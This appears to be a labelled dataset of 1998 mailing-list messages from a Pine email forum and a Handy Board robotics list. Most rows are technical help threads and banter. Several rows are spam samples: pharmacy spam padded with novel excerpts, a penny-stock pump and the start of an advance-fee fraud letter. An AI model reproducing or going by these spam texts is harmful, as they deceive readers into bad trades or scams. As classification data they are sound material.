is really unclear to me which connector I should plug into. In between the IR I/O section and the BATTPWR LED's there are a bunch of connectors. The manual seems to say that J2 is what I need and also talks about a connector labeled (right to left) 7-15. I don't have any way of testing this and I was wondering if anyone knew which connector to use. ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 23:33:47 -0600",Re: Regarding html attachment,"posted and mailed >From: Todd Lindahl >Date: Thu, 15 Jan 1998 15:04:21 -0600 (CST) >Where is the command in Pine to save a attachment in html format? There is no such command, nor should there ever be one. You'll have to use a Web page editor. If, perchance, you were sent an attachment already in html format, use the v command, and save the appropriate attachment to a file in your home directory and naming it with an extension of .html. Then, read it with your browser.",0,0 Rodolfo Gonzalez Gonzalez ,Pine Discussion Forum ,"Thu, 15 Jan 1998 23:50:45 -0600",Re: Regarding html attachment,"Hello, On Thu, 15 Jan 1998, Todd Lindahl wrote: > Where is the command in Pine to save a attachment in html format? > I am not fimiliar with this e-mail package. > Thank You When you're reading the message, press v, select the part of the e-mail you wanna save (the html attachment) and press s then you'll be prompted to enter the name of the file you wanna use to save the attachment, you can use the default name, enter your own one, or use the CTRL+T to use Pilot to browse your directory tree and then select a name. I recommend you use the default. Pr4ess entrer an voila!. Saludos. Rodolfo. ",0,0 Solstice ,Pine Discussion Forum ,"Fri, 16 Jan 1998 01:26:53 -0500",Re: Regarding html attachment,"On Thu, 15 Jan 1998, Rodolfo Gonzalez Gonzalez wrote: > Hello, > > On Thu, 15 Jan 1998, Todd Lindahl wrote: > > > Where is the command in Pine to save a attachment in html format? > > I am not fimiliar with this e-mail package. > > Thank You > > When you're reading the message, press v, select the part of the e-mail > you wanna save (the html attachment) and press s then you'll be prompted > to enter the name of the file you wanna use to save the attachment, you > can use the default name, enter your own one, or use the CTRL+T to use > Pilot to browse your directory tree and then select a name. I recommend > you use the default. Pr4ess entrer an voila!. Or you can do the following: at the unix command copy the file /etc/mailcap to your home directory and name it "".mailcap"". Edit your .mailcap and make the following modifications: 1. Locate ""text/richtext; richtext %s; copiousoutput 2. add these three lines text/html; shownonascii iso-8859-1 %s; copiousoutput text/html; shownonascii iso-8859-8 %s; copiousoutput text/html; shownonascii iso-8859-7 %s; copiousoutput 3. Save file and run pine... 4. Voila, you can now view documents sent in HTML codes as HTML codes (TEXT). > > Saludos. > Rodolfo. > > ""IF WE'RE THE ONLY LIFE IN THE UNIVERSE, WOULDN'T IT BE A WASTE OF SPACE."" John ""Highway"" Tze-Chang Wu Alpha Phi Omega Nat'l Svc Fraternity highway@vni.net http://www.vni.net/apo (Epsilon Mu Alumnus) http://www.vni.net/~highway Central Perk Coffee House (Friends) (World Wide Web Developer) http://www.vni.net/~highway/Friends ",0,1 Solstice ,Pine Discussion Forum ,"Fri, 16 Jan 1998 01:35:32 -0500",Re: Regarding html attachment,"On Fri, 16 Jan 1998, Solstice wrote: I forgot something, please check the end of this recap > Or you can do the following: > > at the unix command copy the file /etc/mailcap to your home directory and > name it "".mailcap"". > > Edit your .mailcap and make the following modifications: > > 1. Locate ""text/richtext; richtext %s; copiousoutput > > 2. add these three lines > > text/html; shownonascii iso-8859-1 %s; copiousoutput > text/html; shownonascii iso-8859-8 %s; copiousoutput > text/html; shownonascii iso-8859-7 %s; copiousoutput > > 3. Save file and run pine... Don't run pine just yet. 3b. Edit your .pinerc file Search for pattern ""mailcap"" and modify the following line to reflect the new change: # Sets the search path for the mailcap cofiguration file. # NOTE: colon delimited under UNIX, semi-colon delimited under DOS/Windows/OS2. mailcap-search-path=/usr/home/highway/.mailcap:/etc/mailcap > > 4. Voila, you can now view documents sent in HTML codes as HTML > codes (TEXT). > > > > > > Saludos. > > Rodolfo. > > > > > > ""IF WE'RE THE ONLY LIFE IN THE UNIVERSE, WOULDN'T IT BE A WASTE OF SPACE."" > John ""Highway"" Tze-Chang Wu Alpha Phi Omega Nat'l Svc Fraternity > highway@vni.net http://www.vni.net/apo (Epsilon Mu Alumnus) > http://www.vni.net/~highway Central Perk Coffee House (Friends) > (World Wide Web Developer) http://www.vni.net/~highway/Friends > > ""IF WE'RE THE ONLY LIFE IN THE UNIVERSE, WOULDN'T IT BE A WASTE OF SPACE."" John ""Highway"" Tze-Chang Wu Alpha Phi Omega Nat'l Svc Fraternity highway@vni.net http://www.vni.net/apo (Epsilon Mu Alumnus) http://www.vni.net/~highway Central Perk Coffee House (Friends) (World Wide Web Developer) http://www.vni.net/~highway/Friends ",0,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 08:44:18 +0100",RE: pine 4.0 preview,"On Thu, 15 Jan 1998, Everett, Marty wrote: > This a problem that I have ask about before. When I get mails from user > of MS Exchange or outlook and they have the edit setup to be ms word > then I can get the email and read it but it has trash at the end. I have > call exchange support and I was told that this was fixed in pine 4.0 > here is the test of message the I got from exchange support. It seems > that the people at Exchange support are wrong and I need to call and > tell that. Dear Everett, thank you for choosing a Microsoft product. We appreciate your information about MS Exchange's inability to create an RFC-compliant mail format. We are painfully aware of MS Exchange's shortcomings and are currently working on an upgrade which will be available shortly. It will be a trimmed version of MS Exchange and will probably called ""mail"" for obvious reasons. Since our R&D team have recently found that the use of a GUI for a mail application in fact decreases the program's user friendliness, ""mail"" will be run at the command line prompt. We envision a simple syntax for the use of ""mail"", e.g. ""mail foo@bar.com"". In order to make it RFC-compliant, it will not support RTF, HTML, or binary attachments. ""mail"" will only run under NT, though, but we will offer a special bundle price for the upgrade kit, which will also include KerNeL! 98, Fdisk Plus and an improved version of Write (""WriteNow!""). Yours truly, Robin S. Socha M.A. CEO German Web Force ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 08:20:16 +0100",Re: Beta-Tester needs a job,"On Thu, 15 Jan 1998, GaMePlYr20 wrote: > I need a job as a Beta-Tester I will work hard and I've been working with > electronics since I was 2 yrs. old Dear GaMePlYr20, thank you very much for your valuable input. We highly appreciate your offer to work for us. Unfortunately, we will need some more detail about you and your programming experience. Please contact us again to give us further information. Yours truly, Robin S. Socha M.A. ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 08:27:09 +0100",Re: mime format,"On Thu, 15 Jan 1998, M.M.COLEMAN wrote: > I received a e-mail and part of it is in mime format. I never heard of mime > format. it does say its a bmp . I was told that this is a photo cool so > how do I open it? I'm running windows 95. can I get some help here?? Dear M.M.COLEMAN, thank you for choosing a Microsoft product. We appreciate your input on MIME and cool photos. However, we regret to inform you that you need to upgrade Windows 95 to Windows NT in order to view cool photos in MIME format. Windows 95 currently only supports blue screen pictures in GPF format. Yours truly, Robin S. Socha M.A. C.E.O. German Web Force ",0,0 """VILLAREAL. JOVAL L."" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 15:23:04 +0800",," sir, i just want to ask if i can still recover my deleted mails. it may be simple but i don't know how to do it. Thank you and hoping for your immediate response. Sincerely yours Joval L. Villareal Ateneo de naga college ",0,0 Brennan Mair ,handyboard@media.mit.edu,"Fri, 16 Jan 1998 18:10:12 +1300",Config Register error,"hello all, I have only started building the Handy Board and have run into some problems at the very start when i first conected the part built board. I have build it as far as the power supply, stop switch and 68hc11 installed, memory and lcd. When I try to send pcode_hb.s19 it sometimes stops half way through and says ""error loading byte #0x98"" and sometimes #0x99, #0x9a. And when it does load it all it comes up with ""invalid CONFIG Register (0x0d) try again"" although it is set to 0x0c in the box in HBDL . I have downloaded the pcode file again from the handy board site to see if it was the file but when I downloaded it to the board I still had no luck. Thanks, Gysmo@es.co.nz ",0,0 Vlad Fogel ,handyboard@mailhub.media.mit.edu,"Thu, 15 Jan 1998 17:38:47 -0700",Re: your AMBtElN,"Hi P L V A X C V r e I m a I A o v A b n A L z i G i a L I a t R e x I U c ra A n S M http://www.cationslate.com and he began to wonder nervously what the end of it all would be I would give a good many of these precious goblets, thought, for a drink of something cheering out of one Beorns wooden bowls! Thorin! he cried aloud. What next? We are armed, but what good has any armour ever been before against Smaug the Dreadful? This treasure is not yet won back. We are not looking for gold yet, but for a way of escape; and we ",1,1 """Everett, Marty"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 08:17:10 -0500",RE: pine 4.0 preview,"I fail to understand you purpose in life. If you can not be helpful then just shut up because this trash is not constructive. > -----Original Message----- > From: Robin S. Socha [SMTP:uzs8kb@sushi.uni-bonn.de] > Sent: Friday, January 16, 1998 2:44 AM > To: Pine Discussion Forum > Subject: RE: pine 4.0 preview > > On Thu, 15 Jan 1998, Everett, Marty wrote: > > > This a problem that I have ask about before. When I get mails from > user > > of MS Exchange or outlook and they have the edit setup to be ms word > > then I can get the email and read it but it has trash at the end. I > have > > call exchange support and I was told that this was fixed in pine 4.0 > > here is the test of message the I got from exchange support. It > seems > > that the people at Exchange support are wrong and I need to call and > > tell that. > > Dear Everett, > > thank you for choosing a Microsoft product. We appreciate your > information > about MS Exchange's inability to create an RFC-compliant mail format. > We are > painfully aware of MS Exchange's shortcomings and are currently > working on > an upgrade which will be available shortly. It will be a trimmed > version of > MS Exchange and will probably called ""mail"" for obvious reasons. Since > our > R&D team have recently found that the use of a GUI for a mail > application in > fact decreases the program's user friendliness, ""mail"" will be run at > the > command line prompt. We envision a simple syntax for the use of > ""mail"", e.g. > ""mail foo@bar.com"". In order to make it RFC-compliant, it will not > support > RTF, HTML, or binary attachments. ""mail"" will only run under NT, > though, but > we will offer a special bundle price for the upgrade kit, which will > also > include KerNeL! 98, Fdisk Plus and an improved version of Write > (""WriteNow!""). > > Yours truly, > > Robin S. Socha M.A. > CEO German Web Force > ",0,0 """Everett, Marty"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 08:19:09 -0500",RE: pine 4.0 preview,"I fail to understand your purpose in the forum. If you can not help then just shut up! thanks Marty > -----Original Message----- > From: Robin S. Socha [SMTP:uzs8kb@sushi.uni-bonn.de] > Sent: Friday, January 16, 1998 2:44 AM > To: Pine Discussion Forum > Subject: RE: pine 4.0 preview > > On Thu, 15 Jan 1998, Everett, Marty wrote: > > > This a problem that I have ask about before. When I get mails from > user > > of MS Exchange or outlook and they have the edit setup to be ms word > > then I can get the email and read it but it has trash at the end. I > have > > call exchange support and I was told that this was fixed in pine 4.0 > > here is the test of message the I got from exchange support. It > seems > > that the people at Exchange support are wrong and I need to call and > > tell that. > > Dear Everett, > > thank you for choosing a Microsoft product. We appreciate your > information > about MS Exchange's inability to create an RFC-compliant mail format. > We are > painfully aware of MS Exchange's shortcomings and are currently > working on > an upgrade which will be available shortly. It will be a trimmed > version of > MS Exchange and will probably called ""mail"" for obvious reasons. Since > our > R&D team have recently found that the use of a GUI for a mail > application in > fact decreases the program's user friendliness, ""mail"" will be run at > the > command line prompt. We envision a simple syntax for the use of > ""mail"", e.g. > ""mail foo@bar.com"". In order to make it RFC-compliant, it will not > support > RTF, HTML, or binary attachments. ""mail"" will only run under NT, > though, but > we will offer a special bundle price for the upgrade kit, which will > also > include KerNeL! 98, Fdisk Plus and an improved version of Write > (""WriteNow!""). > > Yours truly, > > Robin S. Socha M.A. > CEO German Web Force > ",0,0 Noone Special ,Pine Discussion Forum ,"Fri, 16 Jan 1998 08:34:06 -0500",RE: pine 4.0 preview,"On Fri, 16 Jan 1998, Robin S. Socha wrote: > Dear Everett, > > thank you for choosing a Microsoft product. We appreciate your information > about MS Exchange's inability to create an RFC-compliant mail format. We are [Rest of side-splitting comments *snipped*] > > Robin S. Socha M.A. > CEO German Web Force You don't think Robin has a minor dislike for Microsux Winblows products, do you? Did Bill Gates beat you as a child, Robin? Or do you just prefer real operating systems (Oh wait.. I forgot Win95 isn't an OS, but a GUI for an OS.. oh wait, that was the original Winblows, I guess Win95 is actually an OS, with a TUI (Textual User Interface, IE ""MSDosPrompt"" ;) for those people who actually care what the computer is doing.. I'm so confused..) :P~ Pat (I do Windows cuz it's 'hip'.. and all my toys are in Win95 format.) ",0,0 tengji@public2.bta.net.cn,Pine Discussion Forum ,"Fri, 16 Jan 1998 22:11:22 -0800",help,"Dear Sir, Two days ago, I received an email from pine-robot@docserver.cac.washington.edu which asked me if I like to use the new version of pine. It said there is only a little change so I said ""yes"". But then I found that the new version could not fit my email system or the maching. It destroyed many fuctions and documents. If possible, please help me cancel the new version and let me still use the old version. Or, you can tell me how to do it by myself. Your help will be greatly appreciated! Sincerely yours, Jian Teng ",0,0 Christopher Hicks ,Pine Discussion Forum ,"Fri, 16 Jan 1998 10:02:28 -0500",Robin is good. (was RE: pine 4.0 preview),"On Fri, 16 Jan 1998, Everett, Marty expoused about Robin: > I fail to understand you purpose in life. If you can not be helpful then > just shut up because this trash is not constructive. And everything in life has to be totally and completely constructive. Don't laugh. Don't eat food that has taste. Think only constructive thoughts. No education should be in any way pleasant or entertaining. Yeah, right. Some of us appreciate Robin's wit. If you don't, procmail him. If you don't see his attempts to help people in straight forward ways as well as entertaining ways, then don't read his email. 63.Thou shalt not employ cheese as a means of sexual arousal. -http://www.mindworkshop.com/alchemy/command.html",0,1 auxoenln jdhvbxx ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 15:22:33 +0800",watch this stck trade NEW PICK MONDAY it isday [REPORT NEW PICK MONDAY it is] darning chorus alienating daffodils,"Apparel Manufacturing Associates, Inc. (APPM.PK) Symbol : APPM Current Price : $ 0.21 Short Term Projected : $ 0.85 Watch this one, huge PR campaign underway, plus strong potential. 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OVer all this comapany has great potential, Get in now don't regret later feathertop Bernet besotting Istvan custard incomputable Verde germ gangster amazingly gospels Alabamian Moliere capitalizations custard drug gadwall follows bounty's mismatched custard courtroom's besotting Fatima alligators mightn't executor edicts incident confessions activity bronzed Punic glacier ",1,0 """Brian H. Trammell"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 10:27:41 -0500",PGP with Pine,"Greetings, I just installed PGP for Linux 5.0, and am trying to integrate it with Pine 3.96. I'm using the sending-filters config option to invoke pgp as follows: /usr/local/bin/pgps -fat (this is like pgp -fast in 2.6.2) pgp accepts the input from pine, asks me for the pass phrase, and reports Success! Press return to continue I press return, and Pine informs me: > Problem filtering: Success < and doesn't send the message. What am I doing wrong? Please cc me as i'm not yet subbed to pine-info. thanks, brian -- No PGP signature yet -- -- End lack of PGP signature -- -------------------------------------------------------------------------- brian h. trammell http://www.altara.org/~brian georgia tech civil engineering system administration ""The problem with the rat race is that the winner is still a rat."" 0xf00fc7c8",0,1 Ture Cowling ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 01:14:36 -0700",Re: VAeLtUM news,"Hi, C L V A V X P I e A m I a r A v L b A n o L i I i G a z I t U e R x a S ra M n A c http://www.tevoncoast.com luck far exceeding the usual allowance-now is the time for him to perform the service for which he was included in our Company; now is the time for him to earn his Reward. You are familiar with Thorins style on important occasions, so I will not give you any more of it, though he went on a good deal longer than this. It certainly was an important occasion, but Bilbo felt impatient. By now he was quite familiar with ",1,1 """Max E. Coates"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 10:12:24 -0600",message/partial,"Where can I downdoad message/parial software? Thanks. Max E. Coates ",0,0 Rudi Louviere ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 01:27:00 -0700",Re: your CtALrlS,"Hi Look, this information might be pretty interesting for you V V C A P X L I A I m r a e A L A b o n v G I L i z a i R U I e a x t A M S n c ra http://www.embasarokal.com mile or more. Very puffed he was, when he got to Bywater just on the stroke of eleven, and found he had come without a pocket-handkerchief! Bravo! said Balin who was standing at the inn door looking out for him. Just then all the others came round the corner of the road from the village. They were on ponies, and each pony was slung about with all kinds of baggages, packages, parcels, and paraphernalia. There was a ",1,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 18:55:32 +0100",RE: pine 4.0 preview," On Fri, 16 Jan 1998, Everett, Marty wrote: > I fail to understand you purpose in life. If you can not be helpful then > just shut up because this trash is not constructive. Dear Everett, Marty, Thank you very much for your quick response. We regret to inform you, though, that we do not acutally sell ""Purpose 98"" as a plugin for MS Exchange or Outlook. However, we highly recommend using Microsoft's powerful ascii-editor ""edlin"" in its stead. This might possibly solve your problems with non-RFC-compliant email messages. The MS hotline, which is only $3 /min will certainly help you out with all the necessary information. If you should have any further questions, please do not hesitate to contact us again. Yours truly, Robin S. Socha M.A. CEO German Web Force ",0,0 Jonathan Swaby ,"Brennan Mair , handyboard@media.mit.edu","Fri, 16 Jan 1998 09:03:34 -0500",Re: Config Register error,"I had the same problem. I was never able to get HBDL to set the config register. I used DL to set it on one board and DLM on another. I used the information from the HandyBoard technical reference manual to use these programs. http://lcs.www.media.mit.edu/groups/el/Projects/handyboard/techdocs/hbmanual .pdf Once the config register was set I was then able to use HBDL. I hope this helps. Please remember if you use DL or DLM on a Win95 machine, run them in full screen mode. Neither program will behave correctly if you run them in a does window. They will appear to work correctly, but you will error communicating with the board. Jonathan Swaby At 06:10 PM 1/16/98 +1300, Brennan Mair wrote: >hello all, >I have only started building the Handy Board and have run into some >problems at the very start when i first conected the part built board. I >have build it as far as the power supply, stop switch and 68hc11 installed, >memory and >lcd. When I try to send pcode_hb.s19 it sometimes stops half way through >and says >""error loading byte #0x98"" and sometimes #0x99, #0x9a. And when it does >load it all it comes up with ""invalid CONFIG Register (0x0d) try again"" >although it is set to 0x0c in the box in HBDL . I have downloaded the pcode >file again from the handy board site to see if it was the file but when I >downloaded it to the board I still had no luck. > >Thanks, >Gysmo@es.co.nz > > ",0,1 Miike ,Pine Discussion Forum ,"Fri, 16 Jan 1998 12:10:25 -0500",reply to address,"Can you specify a different reply to address in pine? I cant find the setting in the config. Thanks! ______________________________________________________________ webmassa@phatboys.com * Mike Cross * Minister of Propaganda ""If you can't convince them, confuse them."" -Harry S Truman Mundus vult decipi, ergo decepiatur. Frontis nulla fides. -------------------------------------------------------------- ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 19:08:21 +0100",Re: help,"On Fri, 16 Jan 1998 tengji@public2.bta.net.cn wrote: Hi, Jian Teng, > Two days ago, I received an email from > pine-robot@docserver.cac.washington.edu which asked me if I like to use > the new version of pine. It said there is only a little change so I said > ""yes"". But then I found that the new version could not fit my email system > or the maching. What operating system are you using? Without this information, there's nothing we can tell you. > It destroyed many fuctions and documents. Could you please be a little more specific on this one? What did Pine actually do, and how would it destroy documents? > If possible, please help me cancel the new version and let me still use > the old version. Again, we need to know your operating system. If you're on a u*ix system, which one, and which version of pine did you install. > Or, you can tell me how to do it by myself. Well, there is ample instructions at the pine website (where you possibly got your copy from, too). Cheers, Robin -- hdd still broken. UPS is no good :-( My address is",0,0 Drachen ,Pine Discussion Forum ,"Fri, 16 Jan 1998 09:11:52 -0800",RE: pine 4.0 preview,"two words : comic relief another several words : he generally knows what he's talking about another word or four : chill. it's all alright :) Vinnie (She who cannot quote :) ) On Fri, 16 Jan 1998, Everett, Marty wrote: > I fail to understand your purpose in the forum. If you can not help then > just shut up! > thanks Marty > > > -----Original Message----- > > From: Robin S. Socha [SMTP:uzs8kb@sushi.uni-bonn.de] > > Sent: Friday, January 16, 1998 2:44 AM > > To: Pine Discussion Forum > > Subject: RE: pine 4.0 preview > > > > On Thu, 15 Jan 1998, Everett, Marty wrote: > > > > > This a problem that I have ask about before. When I get mails from > > user > > > of MS Exchange or outlook and they have the edit setup to be ms word > > > then I can get the email and read it but it has trash at the end. I > > have > > > call exchange support and I was told that this was fixed in pine 4.0 > > > here is the test of message the I got from exchange support. It > > seems > > > that the people at Exchange support are wrong and I need to call and > > > tell that. > > > > Dear Everett, > > > > thank you for choosing a Microsoft product. We appreciate your > > information > > about MS Exchange's inability to create an RFC-compliant mail format. > > We are > > painfully aware of MS Exchange's shortcomings and are currently > > working on > > an upgrade which will be available shortly. It will be a trimmed > > version of > > MS Exchange and will probably called ""mail"" for obvious reasons. Since > > our > > R&D team have recently found that the use of a GUI for a mail > > application in > > fact decreases the program's user friendliness, ""mail"" will be run at > > the > > command line prompt. We envision a simple syntax for the use of > > ""mail"", e.g. > > ""mail foo@bar.com"". In order to make it RFC-compliant, it will not > > support > > RTF, HTML, or binary attachments. ""mail"" will only run under NT, > > though, but > > we will offer a special bundle price for the upgrade kit, which will > > also > > include KerNeL! 98, Fdisk Plus and an improved version of Write > > (""WriteNow!""). > > > > Yours truly, > > > > Robin S. Socha M.A. > > CEO German Web Force > > > > ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 19:10:02 +0100",Re: PGP with Pine,"On Fri, 16 Jan 1998, Brian H. Trammell wrote: > I just installed PGP for Linux 5.0, and am trying to integrate it with > Pine 3.96. I'm using the sending-filters config option to invoke pgp as > follows: [bzzzzt] Simply hooking in pgp as a sending filter won't work. Check the pine archives for the addresses of pgp sending filters already in existance, e.g. papp by Aldo Valente or pgppine by Roland Rosenfeld. Cheers, Robin -- hdd still broken. UPS is no good :-( My address is",0,0 Mike Brudenell ,Pine Discussion Forum ,"Fri, 16 Jan 1998 17:17:15 +0000",Re: reply to address,"--On Fri, Jan 16, 1998 12:10 pm -0500 Miike wrote: > Can you specify a different reply to address in pine? I cant find the setting > in the config. Thanks! That's because there isn't one explicitly... instead there is the much more general (and useful) ""customized-hdrs"" setting, which allows you to add any extra header you wish (not just ""Reply-to:""). Read its online help for more info. Cheers, -- Mike Brudenell ------------------------------------------------------------------------ The Computing Service, University of York, Heslington, York, YO1 5DD, UK Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/ * Unsolicited commercial e-mail is NOT welcome at this e-mail address. *",0,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 19:20:09 +0100",Re: reply to address,"On Fri, 16 Jan 1998, Miike wrote: > Can you specify a different reply to address in pine? I cant find the setting > in the config. Thanks! Oh dear... M(ain) S(etup) C(onfig) w reply [ret] ? Ok? ;-) -- hdd still broken. UPS is no good :-( My address is",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 19:34:37 +0100",Re: reply to address,"On Fri, 16 Jan 1998, Robin S. Socha wrote: Oops... That's ""customize headers"" in fact: OPTION: Customized-Headers You may add your own custom headers to all outgoing messages. Each header you specify here must include the header tag (Reply-To:, Approved:, etc.) and may optionally include a value for that header. If you want to see these custom headers each time you compose a message, you must add them to your default composer headers list (see above), otherwise they become part of the rich header set which you only see when you press the rich header (Ctrl-R) command. Sorry for the confusion, Robin -- hdd still broken. UPS is no good :-( My address is",0,0 Drachen ,Pine Discussion Forum ,"Fri, 16 Jan 1998 09:46:50 -0800",Re: mime format,"MD |N>K you are just in high form today, robin :) btw - I would have sent this via email, as it is rather off topic, however your email address (uzs8kb@sushi.uni-bonn.de) fails. sushi.uni-bonn.de does not have an MX record..or indeed any record. I take it this is purposeful? Vinnie On Fri, 16 Jan 1998, Robin S. Socha wrote: > On Thu, 15 Jan 1998, M.M.COLEMAN wrote: > > > I received a e-mail and part of it is in mime format. I never heard of mime > > format. it does say its a bmp . I was told that this is a photo cool so > > how do I open it? I'm running windows 95. can I get some help here?? > > Dear M.M.COLEMAN, > > thank you for choosing a Microsoft product. We appreciate your input on MIME > and cool photos. However, we regret to inform you that you need to upgrade > Windows 95 to Windows NT in order to view cool photos in MIME format. > Windows 95 currently only supports blue screen pictures in GPF format. > > Yours truly, > > Robin S. Socha M.A. > C.E.O. German Web Force > > > > ",0,0 Lizbeth Gibson ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 03:17:14 -0700",Re: your VALtUeM,"Hi V L A P X C V I e m r a I A A v b o n A L G i i z a L I R t e a x I U A ra n c S M http://www.lupajovaner.com to hope that they would pass without fearful adventure over those great tall mountains with lonely peaks and valleys where no king ruled. They did not. All was well, until one day they met a thunderstorm  more than a thunderstorm, a thunder-battle. You know how terrific a really big thunderstorm can be down in the land and in a river-valley; especially at times when two great thunderstorms meet and clash. More terrible ",1,1 Germán Gentile ,"'Handyboard Mailing List' , Lista de Motorola- 6811 , robot-board@cmf.nrl.navy.mil","Fri, 16 Jan 1998 12:18:15 -0300",Handy board troubles.,"I have various handyboard and i never use the IR ports. So i'm assembling one handy, and don't put al the components asociated to that ports. I download anyprogram to that's board and never boot again!!!! The transmision is o.k. but don't start never to run my code. That code run fine in the other board (that's have the IR ports activate) You say : ""well, why don't assembly with the IR port?"" i can't get a few of parts required, so i need to know how can solve that question. Anyone can help me???? Thanks a lot!!!!! ",0,0 Noone Special ,Pine Discussion Forum ,"Fri, 16 Jan 1998 13:23:24 -0500",Re: PGP with Pine,"I have recieved a few requests for the filter, but noone has given me any feedback yet as to whether they like it or not.. go fig... Anyway, now is as good a time as any to resend the info, so here goes: Pat -------------------------------------------------------------------------- Most of you are familiar with pgppine and papp. A friend of mine and I have taken a copy of papp and performed practically a total rewrite on it. The program has many of the old features, like saving your password encrypted in a session key, but also has some handy new features, and MUCH more readable output. If you would like to help us test it (We haven't found any bugs in it with pine v3.96 and pgp v2.6.2), just drop me a line. NOTE: this program is available by request only until beta testing is completed, then we will post the perl script wherever. NOTE: be sure to include something in the Subject of your message pertaining to beta testing, as my mailbox gets flooded from time to time. Also, any suggestions as to other places to go for beta testers would be appreciated. Thank You, Patrick Farabee ",0,0 Marie Cahill ,handyboard@media.mit.edu,"Fri, 16 Jan 1998 15:50:14 +0000",Re: Shaft encoder,"> Date: Mon, 12 Jan 1998 13:19:12 +0100 > From: Thomas Hauri > Organization: Technikum Winterthur Ingenieurschule > To: handyboard@media.mit.edu > Subject: Re: Shaft encoder > Hi > > Stefano Nardone wrote: > > > I need some docs on interfacing/reading a quadrature shaft encoder to a > > 68hc11... someone can give me some hint? > > > > You could use spezial interface chips to solve your problem. Hewlett > Packard has some chips (HCTL2016, HCTL2020) which are easy to use and offer > a lot of features. > > I have used the HCTL2020 with the handyboard. If you want to interface the > shaft encoder without special chip you need to measure the pulsewidth of > the signal from the encoder aswell as a direction bit which you can > generate with a simple and-gate. I have written a couple of programs (asm) > to measure frequencies and pulsewidth with the Input Counter of the hc11. > Tell if you need them. > > bye > > Tom Hi there, Would these chips be suitable for interfacing a mouse to the Handyboard? My robot incorporates a mouse as a castor wheel and I want to use its shaft encoders as position/velocity sensors (relative) for the robot, but I don't know where to look for details on how the signals are generated and transmitted for a mouse. Do you have any suggestions? Marie",0,0 Marie Cahill ,handyboard@media.mit.edu,"Fri, 16 Jan 1998 15:59:55 +0000",Re: Shaft Encoders,"> Date: Mon, 12 Jan 1998 13:19:12 +0100 > From: Thomas Hauri > Organization: Technikum Winterthur Ingenieurschule > To: handyboard@media.mit.edu Subject: > Re: Shaft encoder > Hi > > Stefano Nardone wrote: > > > I need some docs on interfacing/reading a quadrature > > shaft encoder to a 68hc11... someone can give me > > some hint? > > > > You could use spezial interface chips to solve your > problem. Hewlett > Packard has some chips (HCTL2016, HCTL2020) which are > easy to use and offer a lot of features. > > I have used the HCTL2020 with the handyboard. If you > want to interface the shaft encoder without special > chip you need to measure the pulsewidth of the signal > from the encoder aswell as a direction bit which you > can generate with a simple and-gate. I have written a > couple of programs (asm) to measure frequencies and > pulsewidth with the Input Counter of the hc11. Tell if > you need them. > > bye > > Tom Hi there, Would these chips be suitable for interfacing a mouse to the Handyboard? My robot incorporates a mouse as a castor wheel and I want to use its shaft encoders as position/velocity sensors (relative) for the robot, but I don't know where to look for details on how the signals are generated and transmitted for a mouse. Do you have any suggestions? Marie",0,0 Jennifer Call ,Pine Discussion Forum ,"Fri, 16 Jan 1998 12:05:13 -0700",Re: help!!!!!!!!!!!!!!!!!!," Robin, Thank you for your help in trying to resolve this problem.It's difficult to get a response from my server, i'm receive it from the University here. When i do get a response, they think everyone should now computer jargon. There have been many helpful responses and i appreciate it but for every nice response I get alot computer geeks with very little lives, trying to correct my english. Thank you for your direct and kind response. ",0,0 Narendra Ordway ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 04:07:43 -0700",Re: AMBgtEN news,"Hi, X A C V V P L a m I I A r e n b A A L o v a i L G I z i x e I R U a t n S A M c r a http://www.ivronsiname.com nothing quite like it because you cant do anything. All you can do is think about what the enemy may or may not be doing, and whether hes thought of something you havent considered. As somebody once said, Id rather be in Philadelphia. Where, mon? Nothing. It isnt true. ",1,1 """Colin J. Raven"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 11:38:06 -0000",Re: help,"Ed? Robin? Any suggestions??? -C -----Original Message----- From: tengji@public2.bta.net.cn To: Pine Discussion Forum Date: Friday, January 16, 1998 2:20 PM Subject: help >Dear Sir, >Two days ago, I received an email from >pine-robot@docserver.cac.washington.edu which asked me if I like to use >the new version of pine. It said there is only a little change so I said >""yes"". But then I found that the new version could not fit my email system >or the maching. It destroyed many fuctions and documents. If possible, >please help me cancel the new version and let me still use the old >version. Or, you can tell me how to do it by myself. Your help will be >greatly appreciated! >Sincerely yours, >Jian Teng > >",0,0 Claudette ,Pine Discussion Forum ,"Fri, 16 Jan 1998 16:10:06 -0800",e-mail,"how about you put my banner on your site. Contact me at firmbz@hotmail.com ",1,0 Claudette ,Pine Discussion Forum ,"Fri, 16 Jan 1998 16:12:32 -0800",e-mail,"How about you put my banner on your site. contact me at firmbz@hotmail.com ",1,0 dale samson ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 16 Jan 1998 19:17:52 +0530",From The Office Of Mr.Dale Samson,"I have a new email address!You can now email me at: samsondale2006@yahoo.co.in From The Office Of Mr.Dale Samson Organization For Petroleum Exporting Countries - OPEC. Plot #123cbB/Pbv, main city Sao Tome and principle of West Africa. Dear Sir/Madam I want you to patiently read this offer. I am Mr.abdul mohammad, the Head of Delegation to the World Bank in West Africa. I am the linkman between the Organization For Petroleum Exporting Countries - OPEC and the petroleum sector in a West African country. I also attend OPEC meetings constantly in Geneva on the auspices 